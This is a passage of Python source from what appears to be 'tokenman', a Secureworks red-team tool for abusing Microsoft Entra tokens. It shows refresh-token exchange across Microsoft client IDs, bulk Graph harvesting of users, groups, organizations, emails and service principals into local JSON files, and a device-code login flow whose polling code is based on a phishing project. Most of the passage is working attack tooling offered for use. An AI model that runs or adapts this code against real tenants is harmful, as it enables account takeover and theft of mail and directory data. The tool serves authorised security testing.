72 | logging.error("Could not exchange for new token")
73 | return
74 |
75 | # Update state access token
76 | state.token_cache.access_token = new_token["access_token"]
77 | state.token_cache.refresh_token = new_token["refresh_token"]
78 |
79 | logging.info("Fetching emails")
80 |
81 | # Fetch emails
82 | emails = cls._fetch_emails(
83 | cls,
84 | access_token=state.token_cache.access_token,
85 | proxies=state.proxies,
86 | )
87 | emails_count = len(emails["value"])
88 | logging.info(f"\tEmails: {emails_count}")
89 |
90 | # If emails found, write to disk
91 | if emails_count > 0:
92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
93 | filename = state.output / f"fetch.emails.{utc_now}.json"
94 | logging.info(f"\tOutput: {filename}")
95 |
96 | cls.write_json(
97 | cls,
98 | filename=filename,
99 | data=emails,
100 | )
101 |
--------------------------------------------------------------------------------
/tokenman/fetch/fetch.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | from tokenman.fetch.applications import Applications
16 | from tokenman.fetch.drives import Drives
17 | from tokenman.fetch.emails import Emails
18 | from tokenman.fetch.groups import Groups
19 | from tokenman.fetch.organizations import Organizations
20 | from tokenman.fetch.serviceprincipals import ServicePrincipals
21 | from tokenman.fetch.users import Users
22 | from tokenman.state import RunState
23 | from typing import List
24 |
25 |
26 | class Fetch:
27 | """Fetch command handler"""
28 |
29 | @classmethod
30 | def run(
31 | cls,
32 | state: RunState,
33 | modules: List[str],
34 | ):
35 | """Run the 'fetch' command
36 |
37 | :param state: run state
38 | :param modules: fetch modules to run
39 | """
40 | # Run each module based on the provided flag data from the user
41 | if any(m in modules for m in ["users", "all"]):
42 | Users.fetch(state)
43 |
44 | if any(m in modules for m in ["groups", "all"]):
45 | Groups.fetch(state)
46 |
47 | if any(m in modules for m in ["organizations", "all"]):
48 | Organizations.fetch(state)
49 |
50 | if any(m in modules for m in ["emails", "all"]):
51 | Emails.fetch(state)
52 |
53 | if any(m in modules for m in ["applications", "all"]):
54 | Applications.fetch(state)
55 |
56 | if any(m in modules for m in ["serviceprincipals", "all"]):
57 | ServicePrincipals.fetch(state)
58 |
59 | if any(m in modules for m in ["drives", "all"]):
60 | Drives.fetch(state)
61 |
--------------------------------------------------------------------------------
/tokenman/fetch/groups.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from datetime import datetime
17 | from datetime import timezone
18 | from tokenman.module import ModuleBase
19 | from tokenman.state import RunState
20 | from typing import Any
21 | from typing import Dict
22 |
23 |
24 | class Groups(ModuleBase):
25 | """Group retrieval class"""
26 |
27 | def _fetch_groups(
28 | self,
29 | access_token: str,
30 | proxies: Dict[str, str] = None,
31 | ) -> Dict[str, Any]:
32 | """Retrieve all groups for the given user
33 |
34 | :param access_token: access token
35 | :param proxies: http request proxy
36 | """
37 | return self.msgraph_fetch(
38 | self,
39 | path="groups?$top=999",
40 | access_token=access_token,
41 | proxies=proxies,
42 | )
43 |
44 | @classmethod
45 | def fetch(cls, state: RunState):
46 | """Fetch groups
47 |
48 | :param state: run state
49 | """
50 | # Check if we have an access token for MS Office
51 | if not cls.check_token(
52 | cls,
53 | state.token_cache.access_token_payload,
54 | "Microsoft Office",
55 | ):
56 | if not state.token_cache.refresh_token:
57 | logging.error("No refresh token found to perform token exchange")
58 | return
59 |
60 | logging.debug("Acquiring new token for: 'Microsoft Office'")
61 |
62 | # Acquire a new token specific for Microsoft Office
63 | new_token = cls.acquire_token(
64 | cls,
65 | refresh_token=state.token_cache.refresh_token,
66 | client_name="Microsoft Office",
67 | proxies=state.proxies,
68 | )
69 |
70 | # Handle invalid token
71 | if not new_token:
72 | logging.error("Could not exchange for new token")
73 | return
74 |
75 | # Update state access token
76 | state.token_cache.access_token = new_token["access_token"]
77 | state.token_cache.refresh_token = new_token["refresh_token"]
78 |
79 | logging.info("Fetching groups")
80 |
81 | # Fetch groups
82 | groups = cls._fetch_groups(
83 | cls,
84 | access_token=state.token_cache.access_token,
85 | proxies=state.proxies,
86 | )
87 | groups_count = len(groups["value"])
88 | logging.info(f"\tGroups: {groups_count}")
89 |
90 | # If groups found, write to output file
91 | if groups_count > 0:
92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
93 | filename = state.output / f"fetch.groups.{utc_now}.json"
94 | logging.info(f"\tOutput: {filename}")
95 |
96 | cls.write_json(
97 | cls,
98 | filename=filename,
99 | data=groups,
100 | )
101 |
--------------------------------------------------------------------------------
/tokenman/fetch/organizations.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from datetime import datetime
17 | from datetime import timezone
18 | from tokenman.module import ModuleBase
19 | from tokenman.state import RunState
20 | from typing import Any
21 | from typing import Dict
22 |
23 |
24 | class Organizations(ModuleBase):
25 | """Organizations retrieval class"""
26 |
27 | def _fetch_organizations(
28 | self,
29 | access_token: str,
30 | proxies: Dict[str, str] = None,
31 | ) -> Dict[str, Any]:
32 | """Retrieve the Organizations for the given user
33 |
34 | :param access_token: access token
35 | :param proxies: http request proxy
36 | """
37 | return self.msgraph_fetch(
38 | self,
39 | path="organization",
40 | access_token=access_token,
41 | proxies=proxies,
42 | )
43 |
44 | @classmethod
45 | def fetch(cls, state: RunState):
46 | """Fetch organizations
47 |
48 | :param state: run state
49 | """
50 | # Check if we have an access token for MS Office
51 | if not cls.check_token(
52 | cls,
53 | state.token_cache.access_token_payload,
54 | "Microsoft Office",
55 | ):
56 | if not state.token_cache.refresh_token:
57 | logging.error("No refresh token found to perform token exchange")
58 | return
59 |
60 | logging.debug("Acquiring new token for: 'Microsoft Office'")
61 |
62 | # Acquire a new token specific for Microsoft Office
63 | new_token = cls.acquire_token(
64 | cls,
65 | refresh_token=state.token_cache.refresh_token,
66 | client_name="Microsoft Office",
67 | proxies=state.proxies,
68 | )
69 |
70 | # Handle invalid token
71 | if not new_token:
72 | logging.error("Could not exchange for new token")
73 | return
74 |
75 | # Update state access token
76 | state.token_cache.access_token = new_token["access_token"]
77 | state.token_cache.refresh_token = new_token["refresh_token"]
78 |
79 | logging.info("Fetching organizations")
80 |
81 | # Fetch organizations
82 | organizations = cls._fetch_organizations(
83 | cls,
84 | access_token=state.token_cache.access_token,
85 | proxies=state.proxies,
86 | )
87 | organizations_count = len(organizations["value"])
88 | logging.info(f"\tOrganizations: {organizations_count}")
89 |
90 | # If organizations found, write to output file
91 | if organizations_count > 0:
92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
93 | filename = state.output / f"fetch.organizations.{utc_now}.json"
94 | logging.info(f"\tOutput: {filename}")
95 |
96 | cls.write_json(
97 | cls,
98 | filename=filename,
99 | data=organizations,
100 | )
101 |
--------------------------------------------------------------------------------
/tokenman/fetch/serviceprincipals.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from datetime import datetime
17 | from datetime import timezone
18 | from tokenman.module import ModuleBase
19 | from tokenman.state import RunState
20 | from typing import Any
21 | from typing import Dict
22 |
23 |
24 | class ServicePrincipals(ModuleBase):
25 | """Service Principals retrieval class"""
26 |
27 | def _fetch_serviceprincipals(
28 | self,
29 | access_token: str,
30 | proxies: Dict[str, str] = None,
31 | ) -> Dict[str, Any]:
32 | """Retrieve all service principals
33 |
34 | :param access_token: access token
35 | :param proxies: http request proxy
36 | """
37 | return self.msgraph_fetch(
38 | self,
39 | path="servicePrincipals?$top=999",
40 | access_token=access_token,
41 | proxies=proxies,
42 | )
43 |
44 | @classmethod
45 | def fetch(cls, state: RunState):
46 | """Fetch service principals
47 |
48 | :param state: run state
49 | """
50 | # Check if we have an access token for MS Office
51 | if not cls.check_token(
52 | cls,
53 | state.token_cache.access_token_payload,
54 | "Microsoft Office",
55 | ):
56 | if not state.token_cache.refresh_token:
57 | logging.error("No refresh token found to perform token exchange")
58 | return
59 |
60 | logging.debug("Acquiring new token for: 'Microsoft Office'")
61 |
62 | # Acquire a new token specific for Microsoft Office
63 | new_token = cls.acquire_token(
64 | cls,
65 | refresh_token=state.token_cache.refresh_token,
66 | client_name="Microsoft Office",
67 | proxies=state.proxies,
68 | )
69 |
70 | # Handle invalid token
71 | if not new_token:
72 | logging.error("Could not exchange for new token")
73 | return
74 |
75 | # Update state access token
76 | state.token_cache.access_token = new_token["access_token"]
77 | state.token_cache.refresh_token = new_token["refresh_token"]
78 |
79 | logging.info("Fetching service principals")
80 |
81 | # Fetch service principals
82 | serviceprincipals = cls._fetch_serviceprincipals(
83 | cls,
84 | access_token=state.token_cache.access_token,
85 | proxies=state.proxies,
86 | )
87 | serviceprincipals_count = len(serviceprincipals["value"])
88 | logging.info(f"\tService Principals: {serviceprincipals_count}")
89 |
90 | # If service principals found, write to disk
91 | if serviceprincipals_count > 0:
92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
93 | filename = state.output / f"fetch.serviceprincipals.{utc_now}.json"
94 | logging.info(f"\tOutput: {filename}")
95 |
96 | cls.write_json(
97 | cls,
98 | filename=filename,
99 | data=serviceprincipals,
100 | )
101 |
--------------------------------------------------------------------------------
/tokenman/fetch/users.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from datetime import datetime
17 | from datetime import timezone
18 | from tokenman.module import ModuleBase
19 | from tokenman.state import RunState
20 | from typing import Any
21 | from typing import Dict
22 |
23 |
24 | class Users(ModuleBase):
25 | """User retrieval class"""
26 |
27 | def _fetch_users(
28 | self,
29 | access_token: str,
30 | proxies: Dict[str, str] = None,
31 | ) -> Dict[str, Any]:
32 | """Retrieve all users
33 |
34 | :param access_token: access token
35 | :param proxies: http request proxy
36 | """
37 | return self.msgraph_fetch(
38 | self,
39 | path="users",
40 | access_token=access_token,
41 | proxies=proxies,
42 | )
43 |
44 | @classmethod
45 | def fetch(cls, state: RunState):
46 | """Fetch users
47 |
48 | :param state: run state
49 | """
50 | # Check if we have an access token for MS Office
51 | if not cls.check_token(
52 | cls,
53 | state.token_cache.access_token_payload,
54 | "Microsoft Office",
55 | ):
56 | if not state.token_cache.refresh_token:
57 | logging.error("No refresh token found to perform token exchange")
58 | return
59 |
60 | logging.debug("Acquiring new token for: 'Microsoft Office'")
61 |
62 | # Acquire a new token specific for Microsoft Office
63 | new_token = cls.acquire_token(
64 | cls,
65 | refresh_token=state.token_cache.refresh_token,
66 | client_name="Microsoft Office",
67 | proxies=state.proxies,
68 | )
69 |
70 | # Handle invalid token
71 | if not new_token:
72 | logging.error("Could not exchange for new token")
73 | return
74 |
75 | # Update state access token
76 | state.token_cache.access_token = new_token["access_token"]
77 | state.token_cache.refresh_token = new_token["refresh_token"]
78 |
79 | logging.info("Fetching users")
80 |
81 | # Fetch users
82 | users = cls._fetch_users(
83 | cls,
84 | access_token=state.token_cache.access_token,
85 | proxies=state.proxies,
86 | )
87 | users_count = len(users["value"])
88 | logging.info(f"\tUsers: {users_count}")
89 |
90 | # If users found, write to output file
91 | if users_count > 0:
92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
93 | filename = state.output / f"fetch.users.{utc_now}.json"
94 | logging.info(f"\tOutput: {filename}")
95 |
96 | cls.write_json(
97 | cls,
98 | filename=filename,
99 | data=users,
100 | )
101 |
--------------------------------------------------------------------------------
/tokenman/module.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import json
16 | import logging
17 | import requests # type: ignore
18 | from typing import Any
19 | from typing import List
20 | from typing import Dict
21 | from tokenman import utils
22 | from tokenman import acquire
23 |
24 |
25 | class ModuleBase:
26 | """Module base class for shared functions"""
27 |
28 | def write_json(
29 | self,
30 | filename: str,
31 | data: Dict[str, str],
32 | ):
33 | """Write a data structure as JSON to disk
34 |
35 | :param filename: full name of output file
36 | :param data: data structure to write to system
37 | """
38 | try:
39 | with open(filename, "w") as f:
40 | json.dump(data, f)
41 |
42 | except Exception as e:
43 | logging.error(f"Failed to write JSON: {e}")
44 | # Fall back to printing data raw in case the file
45 | # couldn't write to disk
46 | print(json.dumps(data, indent=4))
47 |
48 | def check_token(
49 | self,
50 | access_token_payload: Dict[str, Any],
51 | client_id: str,
52 | resource: str = "https://graph.microsoft.com",
53 | ) -> bool:
54 | """Check an access token for a given client id
55 | or resource.
56 |
57 | :param access_token_payload: access token object
58 | :param client_id: client id or name associated to foci map
59 | :param resource: token resource/audience
60 | :returns: if a token is valid for given client/audience
61 | """
62 | # Check if there is an access token
63 | if not access_token_payload:
64 | return False
65 |
66 | # Check if the token is targeting the correct application
67 | try:
68 | if access_token_payload["appid"] == client_id or (
69 | client_id in utils.FOCI_CLIENT_IDS.keys()
70 | and access_token_payload["appid"] == utils.FOCI_CLIENT_IDS[client_id]
71 | ):
72 | return True
73 | except:
74 | pass
75 |
76 | # Check if the token is targeting the correct audience/scope
77 | try:
78 | if (
79 | access_token_payload["aud"] == resource
80 | or resource in access_token_payload["scp"]
81 | ):
82 | return True
83 | except:
84 | pass
85 |
86 | return False
87 |
88 | def acquire_token(
89 | self,
90 | refresh_token: str,
91 | client_id: str = None,
92 | client_name: str = None,
93 | resource: str = None,
94 | scope: List[str] = [".default"],
95 | proxies: Dict[str, str] = None,
96 | verify: bool = True,
97 | ) -> Dict[str, Any]:
98 | """Retrieve a new token for the specified application/resource
99 |
100 | :param refresh_token: refresh token
101 | :param client_id: target application client id
102 | :param client_name: target application client name
103 | :param resource: target token resource/audience
104 | :param scopes: target token scopes
105 | :param proxies: http request proxy
106 | :param verify: http request certificate verification
107 | :returns: new token object
108 | """
109 | # Require a client id or name
110 | if not client_id and not client_name:
111 | logging.error("Missing required client id or name")
112 | return None
113 |
114 | # Validate client name in foci map
115 | try:
116 | if client_name and not client_id:
117 | client_id = utils.FOCI_CLIENT_IDS[client_name]
118 |
119 | except KeyError:
120 | logging.error("Invalid client name provided")
121 | return None
122 |
123 | new_refresh_token = acquire.acquire_token_by_refresh_token(
124 | refresh_token=refresh_token,
125 | client_id=client_id,
126 | resource=resource,
127 | scope=scope,
128 | proxies=proxies,
129 | verify=verify,
130 | )
131 |
132 | return new_refresh_token
133 |
134 | def msgraph_fetch(
135 | self,
136 | path: str,
137 | access_token=str,
138 | proxies: Dict[str, str] = None,
139 | verify: bool = True,
140 | limit: int = 100,
141 | ) -> Dict[str, str]:
142 | """Fetch data via Microsoft Graph
143 |
144 | :param path: graph api path
145 | :param access_token: access token
146 | :param proxies: http request proxy
147 | :param verify: http request certificate verification
148 | :param limit: max number of pages to fetch
149 | """
150 | if proxies:
151 | verify = False
152 |
153 | headers = {
154 | "Authorization": f"Bearer {access_token}",
155 | "Content-Type": "application/json",
156 | }
157 |
158 | url = f"https://graph.microsoft.com/v1.0/{path}"
159 |
160 | # Rebuild the search response JSON scheme
161 | # Exclude @odata.nextLink - only use this to get the next page
162 | results = {"@odata.context": None, "value": []}
163 |
164 | count = 0
165 | try:
166 | # Continue to loop while there is more data/until we hit
167 | # our request limit
168 | while url and count <= limit:
169 | count += 1
170 | response = requests.get(
171 | url=url,
172 | headers=headers,
173 | proxies=proxies,
174 | verify=verify,
175 | )
176 | json_response = response.json()
177 |
178 | # Handle errors
179 | if "error" in json_response:
180 | logging.error(f'Error: {json_response["error"]["message"]}')
181 | break
182 |
183 | # Get the context (only on first request)
184 | if not results["@odata.context"]:
185 | results["@odata.context"] = json_response.get("@odata.context", None) # fmt: skip
186 |
187 | # Get the values returned and append to results
188 | value = json_response.get("value", None)
189 | if value:
190 | results["value"] += value
191 |
192 | # Get the next URL if more results
193 | url = json_response.get("@odata.nextLink", None)
194 |
195 | return results
196 |
197 | except requests.RequestException as e:
198 | logging.error(f"Graph Fetch Error: {e}")
199 | return results
200 |
201 | def msgraph_search(
202 | self,
203 | entity_types: List[str],
204 | search: str,
205 | access_token=str,
206 | proxies: Dict[str, str] = None,
207 | verify: bool = True,
208 | ) -> Dict[str, str]:
209 | """Search data via Microsoft Graph Search
210 |
211 | :param entity_types: entity(ies) to search
212 | :param search: search term
213 | :param access_token: access token
214 | :param proxies: http request proxy
215 | :param verify: http request certificate verification
216 | """
217 | if proxies:
218 | verify = False
219 |
220 | headers = {
221 | "Authorization": f"Bearer {access_token}",
222 | "Content-Type": "application/json",
223 | }
224 |
225 | json = {
226 | "requests": [
227 | {
228 | "entityTypes": entity_types,
229 | "query": {
230 | "queryString": search,
231 | },
232 | }
233 | ]
234 | }
235 |
236 | try:
237 | response = requests.post(
238 | url=f"https://graph.microsoft.com/v1.0/search/query",
239 | json=json,
240 | headers=headers,
241 | proxies=proxies,
242 | verify=verify,
243 | )
244 | json_response = response.json()
245 |
246 | # Handle errors
247 | if "error" in json_response:
248 | logging.error(f'Error: {json_response["error"]["message"]}')
249 | return None
250 |
251 | return json_response
252 |
253 | except requests.RequestException as e:
254 | logging.error(f"Graph Search Error: {e}")
255 | return None
256 |
--------------------------------------------------------------------------------
/tokenman/oauth/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | from tokenman.oauth.oauth import OAuth
16 |
--------------------------------------------------------------------------------
/tokenman/oauth/devicecode.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | import requests # type: ignore
17 | import urllib
18 | from typing import Any
19 | from typing import Dict
20 |
21 |
22 | class DeviceCode:
23 | """Device code flow handler"""
24 |
25 | @classmethod
26 | def run(
27 | cls,
28 | client_id: str,
29 | scope: str,
30 | proxies: Dict[str, str] = None,
31 | verify: bool = True,
32 | ) -> Dict[str, Any]:
33 | """Generate a device code for oAuth device code flow
34 |
35 | :param client_id: client id to request token for
36 | :param scope: token scope
37 | :param proxies: http request proxy
38 | :param verify: http request certificate verification
39 | :returns: device code json response
40 | """
41 | if proxies:
42 | verify = False
43 |
44 | # Build device code request
45 | url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode"
46 | params = (("client_id", client_id), ("scope", scope))
47 | data = urllib.parse.urlencode(params)
48 |
49 | # Request a new device code from Microsoft for the given client ID
50 | try:
51 | response = requests.post(
52 | url,
53 | data=data,
54 | proxies=proxies,
55 | verify=verify,
56 | )
57 |
58 | if response.status_code != 200:
59 | logging.error(f"Invalid device code response:\n{response.json()}")
60 | return None
61 |
62 | device_code = response.json()
63 |
64 | logging.debug(f"Device code response: {device_code}")
65 |
66 | except Exception as e:
67 | logging.error(f"Failed to request device code from Microsoft: {e}")
68 | return None
69 |
70 | return device_code
71 |
--------------------------------------------------------------------------------
/tokenman/oauth/oauth.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | import webbrowser
17 | from datetime import datetime
18 | from datetime import timezone
19 | from tokenman.module import ModuleBase
20 | from tokenman.oauth.devicecode import DeviceCode
21 | from tokenman.oauth.poll import Poll
22 | from tokenman.oauth.poll import PollThread
23 | from tokenman.state import RunState
24 | from typing import List
25 |
26 |
27 | class OAuth(ModuleBase):
28 | """oAuth device code flow handler"""
29 |
30 | @classmethod
31 | def run(
32 | cls,
33 | state: RunState,
34 | client_id: str,
35 | scope: List[str],
36 | ):
37 | """Run the 'oauth' command
38 |
39 | :param state: run state
40 | :param client_id: client id to exchange token for
41 | :param scope: token scope
42 | """
43 | default_scope = ["profile", "openid", "offline_access"]
44 | token_scope = list(set(scope + default_scope)) # dedup
45 | token_scope = "%20".join(token_scope)
46 |
47 | # Generate a device code token
48 | logging.info("Requesting new device code")
49 | device_code = DeviceCode.run(
50 | client_id=client_id,
51 | scope=token_scope,
52 | proxies=state.proxies,
53 | )
54 |
55 | # Handle invalid response
56 | if not device_code:
57 | logging.error("No device code retrieved")
58 | return
59 |
60 | # Begin polling MS for authentication in the background
61 | # via threading
62 | logging.info("Starting authentication poll in background")
63 | pt = PollThread(
64 | target=Poll.run,
65 | args=(
66 | device_code,
67 | client_id,
68 | token_scope,
69 | state.proxies,
70 | ),
71 | )
72 | pt.start()
73 |
74 | # Open a browser for the user to login
75 | logging.info("Launching browser for authentication")
76 | logging.info(f"Enter the following device code: {device_code['user_code']}")
77 | logging.info("Close the browser or tab once authentication has completed to continue") # fmt: skip
78 |
79 | try:
80 | webbrowser.open(
81 | url="https://microsoft.com/devicelogin",
82 | new=0,
83 | autoraise=True,
84 | )
85 | except:
86 | logging.warn("Could not open browser")
87 | logging.warn("Browse to 'https://microsoft.com/devicelogin' to perform device code authentication") # fmt: skip
88 |
89 | # Save tokens
90 | auth_token = pt.join()
91 |
92 | if auth_token:
93 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
94 | filename = state.output / f"devicecode.token.{utc_now}.json"
95 | logging.info(f"\tOutput: {filename}")
96 |
97 | cls.write_json(
98 | cls,
99 | filename=filename,
100 | data=auth_token,
101 | )
102 |
103 | else:
104 | logging.error("Could not retrieve oAuth token")
105 |
--------------------------------------------------------------------------------
/tokenman/oauth/poll.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import datetime
16 | import logging
17 | import requests # type: ignore
18 | import threading
19 | import time
20 | import urllib
21 | from typing import Any
22 | from typing import Dict
23 |
24 |
25 | class Poll:
26 | """Device code authentication polling handler
27 |
28 | Based on:
29 | https://github.com/secureworks/squarephish/blob/main/squarephish/modules/server/auth.py
30 | """
31 |
32 | @classmethod
33 | def run(
34 | cls,
35 | device_code: Dict[str, Any],
36 | client_id: str,
37 | scope: str,
38 | proxies: Dict[str, str] = None,
39 | verify: bool = True,
40 | ) -> Dict[str, Any]:
41 | """Poll the MS token endpoint for valid authentication
42 |
43 | :param device_code: device code json response
44 | :param client_id: client id requested for the token
45 | :param scope: requested token scope
46 | :param proxies: http request proxy
47 | :param verify: http request certificate verification
48 | :returns: token json response
49 | """
50 | if proxies:
51 | verify = False
52 |
53 | # Generate POST request data for polling Microsoft for authentication
54 | url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/token"
55 | params = (
56 | ("grant_type", "urn:ietf:params:oauth:grant-type:device_code"),
57 | ("code", device_code["device_code"]),
58 | ("client_id", client_id),
59 | ("scope", scope),
60 | )
61 | data = urllib.parse.urlencode(params)
62 |
63 | # Poll only for the time given before the device code expires
64 | expires_in = int(device_code["expires_in"]) / 60
65 | end_delta = datetime.timedelta(minutes=expires_in)
66 | stop_time = datetime.datetime.now() + end_delta
67 |
68 | while True:
69 | logging.debug(f"Polling for oAuth authentication")
70 | response = requests.post(
71 | url,
72 | data=data,
73 | proxies=proxies,
74 | verify=verify,
75 | )
76 |
77 | # Successful auth
78 | if response.status_code == 200:
79 | break
80 |
81 | # Bad response
82 | if response.json()["error"] != "authorization_pending":
83 | logging.error(f"Invalid poll response:\n{response.json()}")
84 | return None
85 |
86 | # Handle device code expiration/timeout
87 | if datetime.datetime.now() >= stop_time:
88 | logging.error(f"Device code expired")
89 | return None
90 |
91 | # Wait the provided interval time between polls
92 | time.sleep(int(device_code["interval"]))
93 |
94 | # Grab the token response
95 | token_response = response.json()
96 | return token_response
97 |
98 |
99 | class PollThread(threading.Thread):
100 | """Custom threading class to poll for device code authentication"""
101 |
102 | def __init__(
103 | self,
104 | group=None,
105 | target=None,
106 | name=None,
107 | args=(),
108 | kwargs={},
109 | Verbose=None,
110 | ):
111 | """Initialize polling thread"""
112 | threading.Thread.__init__(self, group, target, name, args, kwargs)
113 | self._return = None
114 |
115 | def join(self, *args):
116 | """Override join to return value"""
117 | threading.Thread.join(self, *args)
118 | return self._return
119 |
120 | def run(self):
121 | """Override run to return value"""
122 | if self._target is not None:
123 | self._return = self._target(*self._args, **self._kwargs)
124 |
--------------------------------------------------------------------------------
/tokenman/search/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | from tokenman.search.search import Search
16 |
--------------------------------------------------------------------------------
/tokenman/search/messages.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from datetime import datetime
17 | from datetime import timezone
18 | from tokenman import utils
19 | from tokenman.module import ModuleBase
20 | from tokenman.state import RunState
21 | from typing import Any
22 | from typing import List
23 | from typing import Dict
24 |
25 |
26 | class Messages(ModuleBase):
27 | """Messages search class"""
28 |
29 | def _search(
30 | self,
31 | access_token: str,
